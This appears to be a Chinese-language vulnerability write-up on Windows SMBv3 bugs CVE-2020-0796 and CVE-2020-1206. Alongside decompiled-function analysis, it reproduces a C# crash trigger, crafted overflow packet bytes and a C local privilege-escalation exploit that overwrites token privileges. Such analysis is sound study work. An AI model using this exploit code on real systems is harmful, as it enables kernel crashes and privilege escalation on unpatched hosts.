简介
最近看了一些关于SMB的分析文章,准备总结一下,主要介绍SMB协议在前段时间出的CVE-2020-0796相关漏洞。下面简单介绍一下SMB的相关知识。
SMB协议参考官方文档给的说明,大致作用如下,SMB版本1.0协议实现必须实现CIFS协议,而CIFS再往下就可以由TCP实现,大部分功能是文件系统的功能,端口在445端口,具体内容可以参考文档协议示例部分
客户端系统使用通用网络文件系统(CIFS)协议通过网络从服务器系统请求文件和打印服务。SMB则是对此协议的扩展,提供了附加的安全性,文件和磁盘管理支持。这些扩展不会改变CIFS协议的基本消息顺序,但会引入新的标志,扩展的请求和响应以及新的信息级别。
之前爆出的SMB漏洞主要是在SMB2之后的版本,SMB协议版本2和3,它们支持在机器之间共享文件和打印资源,并扩展了SMB1。Windows上对应的模块是 srv2.sys
SMB2数据包格式与SMB1完全不同。其所有功能参考官方文档里面 1.3 Overview
部分,连接顺序大致如下
- 客户端建立与服务器的连接
- 在该连接上建立经过身份验证的上下文
- 发出各种请求来访问文件,打印机和命名管道以进行进程间通信。
CVE-2020-0796
前置知识
这个漏洞出在SMB2的压缩功能,要使用这个功能首先需要建立基本连接,要建立基本连接首先需要知道这个包是怎么构造出来的,在协议2.1部分说明了包头是如何组成的,协议支持几种传输方式,这里直接按照包格式选用Direct TCP
头即可
其中第三个字段是SMB2Message
,也就是SMB2的消息,这个消息也有一个头结构,在文档[MS-SMB2]的2.2.1部分可以找到,分为同步和异步两种头,拿异步头结构来举例,结构如下
字段长度如下所示,各个字段的意义有点多这里就不贴出来了,可以参考官方文档,非常详细
ProtocolId (4 bytes)
StructureSize (2 bytes)
CreditCharge (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence (2 bytes)
Reserved (2 bytes)
Status (4 bytes)
Command (2 bytes)
CreditRequest/CreditResons (2 bytes)
Flags (4 bytes)
NextCommand (4 bytes)
MessageId (8 bytes)
AsyncId (8 bytes)
SessionId (8 bytes)
Signature (16 bytes)
有了上面的基础,构造这个SMB2协议包就很简单了,包层次结构如下
Direct TCP header -> SMB2 header -> SMB data
下面需要解决连接顺序,官方文档中可以知道,这个协议初始化阶段有几种类型的包,如下图,图自这里
图中的包在文档里都有对应的结构,感兴趣的朋友可以对应文档看看。
漏洞分析
前面提到过这个漏洞存在于srv2.sys
的压缩功能,涉及到的包结构如下,对应文档2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER
,结合压缩包这个名字,来看理解一下各个字段的含义,第一个字段ProtocolId
固定不变,第二个字段指定原始未压缩数据大小,也就是这块数据有压缩的也有不压缩的,这里是指定不压缩的大小,第三个字段指定压缩算法,第四个为一个标志,不同的标志影响第五个参数的意义,第五个参数这里只用到offset
的意义,表示数据包中压缩数据相对于当前结构的偏移。
借用看雪论坛一位师傅画的图片,非常清晰,结构如下
下面看一下漏洞函数,涉及的函数是Srv2DecompressData
,根据名字可以猜测到,此函数负责解压上面结构的数据,其中会调用到SmbCompressionDecompress
函数负责解压数据,而在这之前会调用SrvNetAllocateBuffer
函数负责申请内存,然而这个函数的参数并没有检查是否溢出,这个函数的参数刚好是original size + Offset
的大小,完全由用户控制,溢出就会申请很小的内存,然而实际后面解压操作的内存比申请的大很多,导致了漏洞的产生。
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
__int64 v2; // rax
__m128i v3; // xmm0
unsigned int Algorithm; // ebp
__int64 v7; // rbx MAPDST
int v8; // eax
__m128i Size; // [rsp+30h] [rbp-28h]
int v10; // [rsp+60h] [rbp+8h] BYREF
v10 = 0;
v2 = *(_QWORD *)(a1 + 240);
if ( *(_DWORD *)(v2 + 36) < 0x10u )
return 0xC000090Bi64;
Size = *(__m128i *)*(_QWORD *)(v2 + 24);
v3 = _mm_srli_si128(Size, 8); // 4 bytes + 4 bytes
// offset + compression algorithm
Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
if ( Algorithm != v3.m128i_u16[0] )
return 0xC00000BBi64;
v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset
if ( !v7 )
return 0xC000009Ai64;
if ( (int)SmbCompressionDecompress(
Algorithm,
*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64,
(unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10),
Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),
Size.m128i_i32[1],
&v10) < 0
|| (v8 = v10, v10 != Size.m128i_i32[1]) )
{
SrvNetFreeBuffer(v7);
return 0xC000090Bi64;
}
if ( Size.m128i_i32[3] )
{
memmove(
*(void **)(v7 + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64),
Size.m128i_u32[3]); // Offset
v8 = v10;
}
*(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8;
Srv2ReplaceReceiveBuffer(a1, v7);
return 0i64;
}
漏洞利用
有几种方式构造,Python最为方便,我测试的时候C#、C、Python都试过,其中C#最为复杂,不过也最为官方,使用的是微软提供的一套协议测试框架,不过zecops已经有人写好了,在这里可以找到,其模板参考synacktiv之前发的文章,改动了大致下面几个文件和内容,需要注意的是,在编译的时候需要安装指定.NET
版本并提前编译好一些模块,然后导入才可以正常编译后续的exe
Smb2CompressedPacketed.cs // 修改包类型
Smb2ClientTransport.cs // 修改指定压缩算法
Smb2Compression.cs // 修改压缩函数实现触发
Smb2CompressionForChained.cs // 删除此文件指定第五字段为offset
下面是synacktiv发出来的部分代码,直接写在了Smb2Compression.cs
里面
// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
/// <summary>
/// SMB2 Compression Utility.
/// </summary>
public static class Smb2Compression
{
private static uint i = 0;
/// <summary>
/// Compress SMB2 packet.
/// </summary>
/// <param name="packet">The SMB2 packet.</param>
/// <param name="compressionInfo">Compression info.</param>
/// <param name="role">SMB2 role.</param>
/// <param name="offset">The offset where compression start, default zero.</param>
/// <returns></returns>
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);
/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/
// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
if (i < 3)
{
i++;
return packet;
}
var packetBytes = packet.ToBytes();
var compressor = GetCompressor(compressionAlgorithm);
// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;
var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());
var compressedPackectBytes = compressedPacket.ToBytes();
// HACK: force compressed packet to be sent
return compressedPacket;
// Check whether compression shrinks the on-wire packet size
// if (compressedPackectBytes.Length < packetBytes.Length)
// {
// compressedPacket.OriginalPacket = packet;
// return compressedPacket;
// }
// else
// {
// return packet;
// }
}
}
}
namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{
static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };
// NEGOTIATION is done in "plaintext", this is the call within UserLogon:
// client.Negotiate(
// 0,
// 1,
// Packet_Header_Flags_Values.NONE,
// messageId++,
// new DialectRevision[] { DialectRevision.Smb311 },
// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
// Capabilities_Values.NONE,
// clientGuid,
// out selectedDialect,
// out gssToken,
// out header,
// out negotiateResp,
// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression
// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
// );
if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
return;
// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;
// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);
// trigger crash here
client.TreeConnect(
1,
1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");
BranchCacheDetector bcd = new BranchCacheDetector(
logger,
"DESKTOP-SMBVULN",
"DESKTOP-SMBVULN",
accountCredential
);
DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";
info.UserName = "Ghost";
info.Password = "Ghost";
TriggerCrash(bcd,info);
Console.WriteLine("Goodbye World!");
}
}
}
我测试的时候是单独写了一个exe调用这些函数,感兴趣的朋友可以试一试,不过确实改起来比较麻烦,而且利用起来较为麻烦
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.dll
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.dll
// Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib.dll
using System;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2;
using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib;
namespace SMBTest
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[+] CVE-2020-0796 POC");
var server = "127.0.0.1";
if (args.Length >= 1)
{
server = args[0];
}
Console.WriteLine("[+] Target server: " + server);
Smb2ClientTransport Client = new Smb2ClientTransport();
var timeout = new TimeSpan(0, 0, 60);
Console.WriteLine("[+] Trigger ...");
Client.Connect(
server, // [in] string server
"", // [in] string client
"", // [in] string domain
"Thunder_J", // [in] string userName
"password", // [in] string password
timeout, // [in] TimeSpan timeout
SecurityPackageType.Ntlm, // [in] SecurityPackageType securityPackage
true // [in] bool useServerToken
);
}
}
}
测试结果如下,1903未打此补丁的版本可以触发
调用栈如下,最终是在nt!RtlDecompressBufferXpressLz+0x50
解压缩算法中出错
0: kd> k
# Child-SP RetAddr Call Site
00 fffffb85`170821b8 fffff801`49b49492 nt!DbgBreakPointWithStatus
01 fffffb85`170821c0 fffff801`49b48b82 nt!KiBugCheckDebugBreak+0x12
02 fffffb85`17082220 fffff801`49a5f917 nt!KeBugCheck2+0x952
03 fffffb85`17082920 fffff801`49aa3b0a nt!KeBugCheckEx+0x107
04 fffffb85`17082960 fffff801`4996c1df nt!MiSystemFault+0x18fafa
05 fffffb85`17082a60 fffff801`49a6d69a nt!MmAccessFault+0x34f
06 fffffb85`17082c00 fffff801`499fc750 nt!KiPageFault+0x35a
07 fffffb85`17082d98 fffff801`4990a666 nt!RtlDecompressBufferXpressLz+0x50
08 fffffb85`17082db0 fffff801`4dcae0bd nt!RtlDecompressBufferEx2+0x66
09 fffffb85`17082e00 fffff801`484d7f41 srvnet!SmbCompressionDecompress+0xdd
0a fffffb85`17082e70 fffff801`484d699e srv2!Srv2DecompressData+0xe1
0b fffffb85`17082ed0 fffff801`48519a7f srv2!Srv2DecompressMessageAsync+0x1e
0c fffffb85`17082f00 fffff801`49a6304e srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
0d fffffb85`17082f80 fffff801`49a6300c nt!KxSwitchKernelStackCallout+0x2e
0e fffffb85`16df78f0 fffff801`4996345e nt!KiSwitchKernelStackContinue
0f fffffb85`16df7910 fffff801`4996325c nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
10 fffffb85`16df79b0 fffff801`499630d3 nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
11 fffffb85`16df7a20 fffff801`4996308d nt!KeExpandKernelStackAndCalloutInternal+0x33
12 fffffb85`16df7a90 fffff801`485197d7 nt!KeExpandKernelStackAndCalloutEx+0x1d
13 fffffb85`16df7ad0 fffff801`49fb34a7 srv2!RfspThreadPoolNodeWorkerRun+0x117
14 fffffb85`16df7b30 fffff801`499d3925 nt!IopThreadStart+0x37
15 fffffb85`16df7b90 fffff801`49a66d5a nt!PspSystemThreadStartup+0x55
16 fffffb85`16df7be0 00000000`00000000 nt!KiStartSystemThread+0x2a
下面介绍一下C版本的利用代码,出自@danigargu and @dialluvioso_
两位师傅,顺便解析一下本地提权的原理,这位师傅的代码还是写的很明白,不过这个代码实际上并没有完全实现初始化部分,send_negotiation
协商包发送之后直接就开始发送压缩数据,所以初始化部分实际上只需要协商一次SMB2 NEGOTIATE
包即可进行压缩操作。
int main(int argc, char* argv[]) {
WORD wVersionRequested = MAKEWORD(2, 2);
WSADATA wsaData = { 0 };
SOCKET sock = INVALID_SOCKET;
uint64_t ktoken = 0;
int err = 0;
printf("-= CVE-2020-0796 LPE =-\n");
printf("by @danigargu and @dialluvioso_\n\n");
if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
printf("WSAStartup() failed with error: %d\n", err);
return EXIT_FAILURE;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
printf("Couldn't find a usable version of Winsock.dll\n");
WSACleanup();
return EXIT_FAILURE;
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() failed with error: %d\n", WSAGetLastError());
WSACleanup();
return EXIT_FAILURE;
}
sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
return error_exit(sock, "connect()");
}
printf("Successfully connected socket descriptor: %d\n", (int)sock);
printf("Sending SMB negotiation request...\n");
if (send_negotiation(sock) == SOCKET_ERROR) {
printf("Couldn't finish SMB negotiation\n");
return error_exit(sock, "send()");
}
printf("Finished SMB negotiation\n");
ULONG buffer_size = 0x1110;
UCHAR *buffer = (UCHAR *)malloc(buffer_size);
if (buffer == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
ktoken = get_process_token();
if (ktoken == -1) {
printf("Couldn't leak ktoken of current process...\n");
return EXIT_FAILURE;
}
printf("Found kernel token at %#llx\n", ktoken);
memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
ULONG CompressBufferWorkSpaceSize = 0;
ULONG CompressFragmentWorkSpaceSize = 0;
err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
if (err != STATUS_SUCCESS) {
printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
return error_exit(sock, NULL);
}
ULONG FinalCompressedSize;
UCHAR compressed_buffer[64];
LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
if (lpWorkSpace == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
if (err != STATUS_SUCCESS) {
printf("RtlCompressBuffer() failed with error: %#x\n", err);
free(lpWorkSpace);
return error_exit(sock, NULL);
}
printf("Sending compressed buffer...\n");
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
return error_exit(sock, "send()");
}
printf("SEP_TOKEN_PRIVILEGES changed\n");
inject();
WSACleanup();
return EXIT_SUCCESS;
}
压缩函数实现如下,C的实现相比之前的要简单很多,直接编译运行是可以本地弹出一个计算器,不过首先需要介绍一下怎么利用
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
int err = 0;
char response[8] = { 0 };
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
if (packet == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, buffer, len);
if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}
free(packet);
return err;
}
利用需要很了解内存布局,所以需要深入研究SrvNetAllocateBuffer
函数,如下所示
__int64 __fastcall SrvNetAllocateBuffer(unsigned __int64 Size, __int64 a2)
{
v2 = HIDWORD(KeGetPcr()[1].LockArray);
v3 = 0;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || Size > 0x100100 )
{
if ( Size > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(Size, Size);
}
else
{
if ( Size > 0x1100 )
{
v13 = Size - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);
_BitScanForward64(&v15, v13);
if ( (_DWORD)v14 == (_DWORD)v15 )
v3 = v14 - 12;
else
v3 = v14 - 11;
}
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 112) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (__int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v11 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, __int64))(v10 + 48))(// srvnet!PplGenericAllocateFunction
*(unsigned int *)(v10 + 36),
*(unsigned int *)(v10 + 44),
*(unsigned int *)(v10 + 40),
v10);
}
v5 = 2;
}
if ( !v11 )
return v11;
*(_WORD *)(v11 + 16) |= v5;
*(_WORD *)(v11 + 18) = v3;
*(_WORD *)(v11 + 20) = v2;
if ( a2 )
{
v16 = *(_DWORD *)(a2 + 36);
if ( v16 >= *(_DWORD *)(v11 + 32) )
v16 = *(_DWORD *)(v11 + 32);
v17 = *(void **)(v11 + 24);
*(_DWORD *)(v11 + 36) = v16;
memmove(v17, *(const void **)(a2 + 24), v16);
v18 = *(_WORD *)(a2 + 22);
if ( v18 )
{
*(_WORD *)(v11 + 22) = v18;
memmove((void *)(v11 + 100), (const void *)(a2 + 100), 16i64 * *(unsigned __int16 *)(a2 + 22));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
return v11;
}
可以看到,进来就会判断Size参数的大小,如果小于0x1100则会走下面的路径,最终申请0x1278大小的内存
srvnet!SrvNetAllocateBuffer
-> srvnet!PplGenericAllocateFunction
-> srvnet!SrvNetBufferLookasideAllocate
-> srvnet!SrvNetAllocateBufferFromPool
-> ExAllocatePoolWithTag
内存也会在SrvNetAllocateBufferFromPool
函数里面初始化,下面是初始化的部分,注释基于之前的参数小于0x1100
unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2)
{
unsigned int v2; // esi
unsigned __int64 v3; // rdi
SIZE_T v4; // rax
unsigned __int64 v5; // rbp
__int64 v6; // rax
SIZE_T Size; // rbx
char *alloc_ptr; // rdx
signed __int32 v9; // ecx
int v10; // eax
unsigned __int64 v11; // r9
unsigned __int64 v12; // rdi
unsigned __int64 v13; // r8
int v14; // edx
__int64 v15; // r9
unsigned __int64 v16; // rdx
__int64 v17; // r8
unsigned __int64 result; // rax
v2 = a2;
if ( a2 > 0xFFFFFFFF )
return 0i64;
if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 )
return 0i64;
v3 = (unsigned int)a2 + 232i64;
if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 )
return 0i64;
v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64);
v5 = v4 + 8;
if ( v4 + 8 < v4 )
return 0i64;
v6 = 2 * v5;
if ( !is_mul_ok(v5, 2ui64) )
return 0i64;
Size = v6 + v3;
if ( v6 + v3 < v3 )
return 0i64;
if ( Size < 0x1000 )
{
Size = 0x1000i64;
}
else if ( Size > 0xFFFFFFFF )
{
return 0i64;
}
alloc_ptr = (char *)ExAllocatePoolWithTag((POOL_TYPE)0x200, Size, '00SL');// 0x1278
if ( !alloc_ptr )
{
_InterlockedIncrement((volatile signed __int32 *)&WPP_MAIN_CB.Dpc.SystemArgument2);
return 0i64;
}
v9 = Size + _InterlockedExchangeAdd((_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument1 + 1, Size);
if ( (int)Size > 0 )
{
do
v10 = HIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2);
while ( v9 > SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)
&& v10 != _InterlockedCompareExchange(
(_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument2 + 1,
v9,
SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)) );
}
v11 = (unsigned __int64)(alloc_ptr + 0x50);
v12 = (unsigned __int64)&alloc_ptr[v2 + 87] & 0xFFFFFFFFFFFFFFF8ui64;// 申请的内存(0x1278大小)偏移0x1150处返回
// if (size < 0x1100)
// v12 == v8 + 0x1150
*(_QWORD *)(v12 + 0x30) = alloc_ptr;
*(_QWORD *)(v12 + 0x50) = (v12 + v5 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
v13 = (v12 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
*(_QWORD *)(v12 + 0x18) = alloc_ptr + 0x50;
*(_QWORD *)(v12 + 0x38) = v13;
*(_WORD *)(v12 + 0x10) = 0;
*(_WORD *)(v12 + 0x16) = 0;
*(_DWORD *)(v12 + 0x20) = v2; // Size
*(_DWORD *)(v12 + 0x24) = 0;
v14 = ((_WORD)alloc_ptr + 0x50) & 0xFFF;
*(_DWORD *)(v12 + 0x28) = Size; // 0x1278
*(_DWORD *)(v12 + 0x40) = 0;
*(_QWORD *)(v12 + 0x48) = 0i64;
*(_QWORD *)(v12 + 0x58) = 0i64;
*(_DWORD *)(v12 + 0x60) = 0;
*(_QWORD *)v13 = 0i64;
*(_WORD *)(v13 + 8) = 8 * ((((unsigned __int16)v14 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
*(_WORD *)(v13 + 0xA) = 0;
*(_QWORD *)(v13 + 0x20) = v11 & 0xFFFFFFFFFFFFF000ui64;
*(_DWORD *)(v13 + 0x2C) = v14;
*(_DWORD *)(v13 + 0x28) = v2;
MmBuildMdlForNonPagedPool(*(PMDL *)(v12 + 56));
MmMdlPageContentsState(*(_QWORD *)(v12 + 56), 1i64);
*(_WORD *)(*(_QWORD *)(v12 + 56) + 10i64) |= 0x1000u;
v15 = *(_QWORD *)(v12 + 0x50);
v16 = *(_QWORD *)(v12 + 0x18) & 0xFFFFFFFFFFFFF000ui64;
v17 = *(_QWORD *)(v12 + 0x18) & 0xFFFi64;
result = v12;
*(_QWORD *)v15 = 0i64;
*(_WORD *)(v15 + 8) = 8 * (((v17 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
*(_WORD *)(v15 + 0xA) = 0;
*(_QWORD *)(v15 + 0x20) = v16;
*(_DWORD *)(v15 + 0x2C) = v17;
*(_DWORD *)(v15 + 0x28) = v2;
*(_WORD *)(*(_QWORD *)(v12 + 80) + 10i64) |= 4u;
return result;
}
由于懒得自己画结构图,下面就又参考一个画的非常好的图片,图片来自这里,可以看到SrvNetAllocateBuffer
函数返回的结构+0x18
偏移指向User Buffer
,这个缓冲区就用于存放解压之后的数据,其大小就是我们可控的溢出大小
下图左边则是我们构造的压缩包,右边则是实际申请的内存布局,Raw Data
是不需要压缩的数据,Compressed Data
是需要压缩的数据,后面SmbCompressionDecompress
函数就主要负责解压我们传入的数据Compressed Data
,返回解压之后的数据到右图Decompressed Data
处,正常情况下是没有溢出的
调试结果如下,下面为 SrvNetAllocateBuffer
函数的返回值,该地址偏移0x18处的地址至该地址的距离正好为 0xffffb31b2d5dd150 - 0xffffb31b2d5dc050 = 0x1100
2: kd> dd ffffb31b2d5dc050 + 1100
ffffb31b`2d5dd150 00000000 00000000 00001000 0077006f
ffffb31b`2d5dd160 00000000 00000002 (2d5dc050 ffffb31b) -> +0x18
但由于整数溢出,User Buffer空间变小,不足以容纳预期的大小,就会导致溢出
利用溢出就需要知道这个地方是如何拷贝的,就需要深入研究SmbCompressionDecompress
解压缩函数的实现,下面是调用链
srv2!Srv2DecompressData
-> srvnet!SmbCompressionDecompress
-> nt!RtlDecompressBufferEx2
-> nt!RtlDecompressBufferXpressLz
-> qmemcpy
在解压时覆盖后面 Srvnet Buffer Header
结构体中的User Buffer指针,也就是前面提过的0x18偏移处的指针,这就会导致将Raw Data
的数据拷贝到我们指定的地方,那也就是任意写,本地提权任意写的话直接写SEP_TOKEN_PRIVILEGES
就行,作者也是这个想法,之后的操作就是提权的常规操作了,也没什么好介绍的了
// SEP_TOKEN_PRIVILEGES
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
// Raw Data
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
CVE-2020-1206
对于0796想要远程利用,就得有一个信息泄露的洞,仔细回想前面这个0796,你会发现可控的东西实在是太多了,这也就衍生出了CVE-2020-1206
,实际上原理非常简单,还是一个地方,我们将offset设置为0,OriginalSize设置为一个比较大的值,那也就可以越界读到后面的数据,比如下图,如果能设置为1的话实际就解压出1字节的数据,后面紧跟着一堆泄露的东西,这样就可以泄露出内核信息,配合之前的任意写,就可以实现RCE,当然没有说的那么简单,感兴趣的朋友可以参考这里
总结
前面主要总结的是0796这个洞的学习过程,有很多写的很好的文章,我都放在前面超链接里面了,SMB的攻击面还是比较清晰的,前段时间k0shl师傅在SMB里面也找到了一个信息泄露的洞,简单看了一下patch是一个UAF,涉及到SMB2 SET_INFO
消息,k0哥也在博客里面分析了,下面是patch前代码
signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
[...]
v12 = (unsigned __int16)v4 + 2 * v11; // <------ get completely file name([filename]:[leasename]) length
[...]
if ( v12 > *(unsigned __int16 *)(v6 + 0x18A) )// <------ if file name is longer than old
{
v13 = ExAllocatePoolWithTag((POOL_TYPE)0x200, v12, 0x6C32534Cu); // <------ allocate a new buffer
if ( !v13 )
{
v3 = -1073741670;
goto LABEL_16;
}
if ( *(_BYTE *)(v6 + 114) ) // <------- [1]
ExFreePoolWithTag(*(PVOID *)(v6 + 400), 0);// <------ free old buffer
if ( v11 )
memmove(v13, *(const void **)(v6 + 400), 2i64 * v11); // <------- copy free buffer,trigger use after free.
*(_WORD *)(v6 + 394) = v12;
*(_QWORD *)(v6 + 400) = v13;
*(_BYTE *)(v6 + 114) = 1; // <------- [2]
}
memmove((void *)(*(_QWORD *)(v6 + 400) + 2i64 * v11), v5, (unsigned __int16)v4);// <------- copy new lease name
[...]
}
下面是patch之后代码,我就不过多分析了,感兴趣的朋友可以自行研究构造
signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
[...]
if ( v12 )
memmove(v15, *(const void **)(v6 + 0x190), 2i64 * v12);
if ( *(_BYTE *)(v6 + 0x72) )
ExFreePoolWithTag(*(PVOID *)(v6 + 0x190), 0);
[...]
}